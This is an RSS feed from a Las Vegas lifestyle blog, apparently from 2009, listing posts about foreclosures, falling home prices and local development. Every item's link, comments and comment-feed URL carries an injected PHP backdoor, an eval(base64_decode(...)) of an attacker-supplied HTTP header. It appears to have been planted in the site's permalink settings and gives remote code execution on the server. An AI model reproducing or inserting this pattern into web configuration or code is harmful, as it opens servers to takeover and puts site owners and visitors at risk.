<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sin City Living &#187; Real Estate</title>
	<atom:link href="http://www.sincityliving.com/topics/real-estate/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.sincityliving.com</link>
	<description>Life in Las Vegas, Nevada</description>
	<lastBuildDate>Wed, 23 Dec 2009 16:26:35 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Early Morning Fire</title>
		<link>http://www.sincityliving.com/2009/08/24/early-morning-fire/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/08/24/early-morning-fire/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 24 Aug 2009 19:31:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Local News]]></category>
		<category><![CDATA[Real Estate]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/?p=195</guid>
		<description><![CDATA[There was some excitement in the Southwest part of the valley early this morning. We heard helicopters circling overhead and my initial (sleepy, groggy) thought was that we were back in Los Angeles and that the Ghettto Bird was paying us a visit.
Turns out that some homes under construction in Mountain&#8217;s Edge were on fire. [...]]]></description>
			<content:encoded><![CDATA[<p>There was some excitement in the Southwest part of the valley early this morning. We heard helicopters circling overhead and my initial (sleepy, groggy) thought was that we were back in Los Angeles and that the Ghettto Bird was paying us a visit.</p>
<p>Turns out that some <a href="http://www.lasvegassun.com/news/2009/aug/24/four-homes-under-construction-burn/">homes under construction in Mountain&#8217;s Edge were on fire</a>. Nearby, occupied homes were scorched but none were damaged.</p>
<p>Is it suspicious that these houses caught on fire? Yes. One has to assume that somebody didn&#8217;t want the construction to continue. Another crazy sign of the times.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/08/24/early-morning-fire/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Broxburn Street from Marketplace Story</title>
		<link>http://www.sincityliving.com/2009/07/27/broxburn-street-from-marketplace-story/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/07/27/broxburn-street-from-marketplace-story/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 28 Jul 2009 01:13:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Home Ownership]]></category>
		<category><![CDATA[Real Estate]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/?p=190</guid>
		<description><![CDATA[A story, Life does go on after foreclosure aired on Marketplace today on NPR. Here&#8217;s a map of the Broxburn Street mentioned.
View Larger Map
]]></description>
			<content:encoded><![CDATA[<p>A story, <a href="http://marketplace.publicradio.org/display/web/2009/07/27/pm-houses-tale/">Life does go on after foreclosure</a> aired on Marketplace today on NPR. Here&#8217;s a map of the <strong>Broxburn Street</strong> mentioned.</p>
<p><iframe width="375" height="350" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="http://maps.google.com/maps?q=broxburn+st+las+vegas&amp;oe=utf-8&amp;client=firefox-a&amp;ie=UTF8&amp;split=0&amp;gl=us&amp;ei=tE9uSv-9DoquMNacveQC&amp;ll=36.236935,-115.233107&amp;spn=0.008534,0.01929&amp;z=14&amp;iwloc=A&amp;output=embed"></iframe><br /><small><a href="http://maps.google.com/maps?q=broxburn+st+las+vegas&amp;oe=utf-8&amp;client=firefox-a&amp;ie=UTF8&amp;split=0&amp;gl=us&amp;ei=tE9uSv-9DoquMNacveQC&amp;ll=36.236935,-115.233107&amp;spn=0.008534,0.01929&amp;z=14&amp;iwloc=A&amp;source=embed" style="color:#0000FF;text-align:left">View Larger Map</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/07/27/broxburn-street-from-marketplace-story/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>No Mention of Vegas</title>
		<link>http://www.sincityliving.com/2009/07/08/no-mention-of-vegas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/07/08/no-mention-of-vegas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 18:56:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Real Estate]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/?p=176</guid>
		<description><![CDATA[Is it a good thing that we are not mentioned in this article about falling home prices?
It is interesting to note that many of the cities we were considering (San Francisco, San Diego, Phoenix) are listed as having greater than 50% drops in median sales prices. We would have lost even more equity if we [...]]]></description>
			<content:encoded><![CDATA[<p>Is it a good thing that we are not mentioned in this article about <a href="http://realestate.yahoo.com/promo/americas-fastest-falling-neighborhoods.html">falling home prices</a>?</p>
<p>It is interesting to note that many of the cities we were considering (San Francisco, San Diego, Phoenix) are listed as having greater than 50% drops in median sales prices. We would have lost even more equity if we had relocated there instead of to Las Vegas!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/07/08/no-mention-of-vegas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>One Less Master Planned Community</title>
		<link>http://www.sincityliving.com/2009/05/12/one-less-master-planned-community/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/05/12/one-less-master-planned-community/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 12 May 2009 17:57:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Real Estate]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/one-less-master-planned-community/163/</guid>
		<description><![CDATA[
The last thing the Vegas Valley needs is another master planned community. It&#8217;s good news then that the Park Highlands project in North Las Vegas has filed for bankruptcy protection.
That&#8217;s 16,000 fewer homes for the overburdened real estate market to deal with.
]]></description>
			<content:encoded><![CDATA[<p><img src="http://media.lasvegassun.com/media/img/photos/2009/05/12/highlands_t394.jpg?5269cc11c9d52dc9e2476d90c87aa059bd948221" alt="Park Highlands photo from Las Vegas Sun"><br />
The last thing the Vegas Valley needs is another master planned community. It&#8217;s good news then that the Park Highlands project in North Las Vegas has <a href="http://lasvegassun.com/news/2009/may/12/stalled-nlv-development-files-bankruptcy-protectio/">filed for bankruptcy protection</a>.</p>
<p>That&#8217;s 16,000 fewer homes for the overburdened real estate market to deal with.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/05/12/one-less-master-planned-community/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gloomy Las Vegas News</title>
		<link>http://www.sincityliving.com/2009/05/08/gloomy-las-vegas-news/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/05/08/gloomy-las-vegas-news/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 08 May 2009 23:24:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Casino News]]></category>
		<category><![CDATA[Local News]]></category>
		<category><![CDATA[Real Estate]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/gloomy-las-vegas-news/162/</guid>
		<description><![CDATA[The Las Vegas Sun is full of bleak headlines:
Casino win on Strip down 12.2 percent in March

Fifteen-month slump continues

Las Vegas home sales soar

Driven by a whopping 40 percent reduction in prices, home sales soared in April in the Las Vegas area, the Greater Las Vegas Association of Realtors reported today.

]]></description>
			<content:encoded><![CDATA[<p>The Las Vegas Sun is full of bleak headlines:</p>
<p><strong><a href="http://lasvegassun.com/news/2009/may/07/casino-win-strip-down-122-percent-march/">Casino win on Strip down 12.2 percent in March</a></strong></p>
<blockquote><p>
Fifteen-month slump continues
</p></blockquote>
<p><strong><a href="http://lasvegassun.com/news/2009/may/08/las-vegas-home-sales-soar/">Las Vegas home sales soar</a></strong></p>
<blockquote><p>
Driven by a whopping 40 percent reduction in prices, home sales soared in April in the Las Vegas area, the Greater Las Vegas Association of Realtors reported today.
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/05/08/gloomy-las-vegas-news/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Seven times the national average</title>
		<link>http://www.sincityliving.com/2009/04/22/seven-times-the-national-average/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/04/22/seven-times-the-national-average/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 02:15:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Home Ownership]]></category>
		<category><![CDATA[Real Estate]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/seven-times-the-national-average/158/</guid>
		<description><![CDATA[Seven is not such a lucky number in this context:
Las Vegas had the highest rate of foreclosures of any city, with one in every 22 homes subject to a foreclosure filing in the first three months of the year. The rate of foreclosure filings was 4.5%, seven times the national average.
Read the rest of the [...]]]></description>
			<content:encoded><![CDATA[<p>Seven is not such a lucky number in this context:</p>
<blockquote><p>Las Vegas had the highest rate of foreclosures of any city, with one in every 22 homes subject to a foreclosure filing in the first three months of the year. The rate of foreclosure filings was 4.5%, seven times the national average.</p></blockquote>
<p>Read the rest of the <a href="http://finance.yahoo.com/news/Foreclosure-leaders-focused-cnnm-14996946.html">bad news</a> on Yahoo.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/04/22/seven-times-the-national-average/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Worst Real Estate Market in the Country</title>
		<link>http://www.sincityliving.com/2009/03/07/worst-real-estate-market-in-the-country/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2009/03/07/worst-real-estate-market-in-the-country/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 07 Mar 2009 16:15:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Real Estate]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/worst-real-estate-market-in-the-country/149/</guid>
		<description><![CDATA[It&#8217;s official: Las Vegas is the worst real estate market in the country.

Wishing you&#8217;d left the game earlier is a time-honored Las Vegas tradition. Today, that&#8217;s true not only for gamblers but for homeowners there. The last time Las Vegas properties were worth more than the average mortgage? August 2003.
Blame overbuilding and risky loans, a [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s official: Las Vegas is the <a href="http://realestate.yahoo.com/promo/best-and-worst-us-housing-markets.html">worst real estate market</a> in the country.</p>
<blockquote><p>
Wishing you&#8217;d left the game earlier is a time-honored Las Vegas tradition. Today, that&#8217;s true not only for gamblers but for homeowners there. The last time Las Vegas properties were worth more than the average mortgage? August 2003.</p>
<p>Blame overbuilding and risky loans, a gambling mentality or even the desert sun, but based on Thursday&#8217;s results from the S&#038;P/Case-Shiller home price index, which measures metro home prices in 20 cities through December 2008, Las Vegas is the weakest market in the country.
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2009/03/07/worst-real-estate-market-in-the-country/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NPR&#8217;s Las Vegas Foreclosure Coverage</title>
		<link>http://www.sincityliving.com/2008/12/12/nprs-las-vegas-foreclosure-coverage/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2008/12/12/nprs-las-vegas-foreclosure-coverage/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 13 Dec 2008 01:53:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Real Estate]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/nprs-las-vegas-foreclosure-coverage/141/</guid>
		<description><![CDATA[My friend Bill forwarded me this NPR segment about Las Vegas foreclosures, the madness leading up to the real estate bubble bursting and accounts of real people struggling to pay their mortgages or renegotiating terms with lenders.
We are the foreclosure capital of the county with 1 in 60 homes in foreclosure. 
]]></description>
			<content:encoded><![CDATA[<p>My friend Bill forwarded me this NPR segment about Las Vegas foreclosures, <a href="http://www.npr.org/templates/story/story.php?storyId=97967002">the madness</a> leading up to the real estate bubble bursting and accounts of <a href="http://www.npr.org/templates/story/story.php?storyId=98017796">real people</a> struggling to pay their mortgages or renegotiating terms with lenders.</p>
<p>We are the foreclosure capital of the county with 1 in 60 homes in foreclosure. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2008/12/12/nprs-las-vegas-foreclosure-coverage/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Foreclosures are Selling</title>
		<link>http://www.sincityliving.com/2008/11/17/foreclosures-are-selling/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2008/11/17/foreclosures-are-selling/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 18 Nov 2008 01:44:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Real Estate]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/foreclosures-are-selling/139/</guid>
		<description><![CDATA[If my neighborhood is any kind of indication about the state of the Las Vegas real estate market then prices may have hit bottom. At least for inventory already on the market.
For the last year and a half I have enjoyed having zero occupants on either side of me with both bank-owned houses sitting empty. [...]]]></description>
			<content:encoded><![CDATA[<p>If my neighborhood is any kind of indication about the state of the Las Vegas real estate market then prices may have hit bottom. At least for inventory already on the market.</p>
<p>For the last year and a half I have enjoyed having zero occupants on either side of me with both bank-owned houses sitting empty. Real estate agents stopped coming by the properties and I have been tending to the neglected landscaping to preserve the image of our area.</p>
<p>But as of this week, both homes, along with another a few houses down the block have sold. The new owners have been nice enough so far and they seem really happy with the deals they got (about 40% less than what I paid in May 2007). As much as it hurts to see my equity disappear I am glad that these homes finally sold and that actual owners will be living in them. This has to be a good sign for the local market. Have prices hit bottom? Clearly these buyers thought so.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2008/11/17/foreclosures-are-selling/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Titans of Las Vegas</title>
		<link>http://www.sincityliving.com/2008/05/08/new-titans-of-las-vegas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sincityliving.com/2008/05/08/new-titans-of-las-vegas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 09 May 2008 00:50:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Casino News]]></category>
		<category><![CDATA[Real Estate]]></category>

		<guid isPermaLink="false">http://www.sincityliving.com/new-titans-of-las-vegas/119/</guid>
		<description><![CDATA[
If Chris Binkley&#8217;s book is about the old guard and how they shaped Las Vegas, this article from the NY Times is about how a new generation of moguls is building out their vision of Las Vegas.
]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.sincityliving.com/images/ny-times.gif" alt="NY Times"><br />
If <a href="http://www.sincityliving.com/winner-takes-all/116/">Chris Binkley&#8217;s book</a> is about the old guard and how they shaped Las Vegas, <a href="http://www.nytimes.com/2008/05/06/business/06youngvegas.html">this article</a> from the NY Times is about how a new generation of moguls is building out their vision of Las Vegas.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sincityliving.com/2008/05/08/new-titans-of-las-vegas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
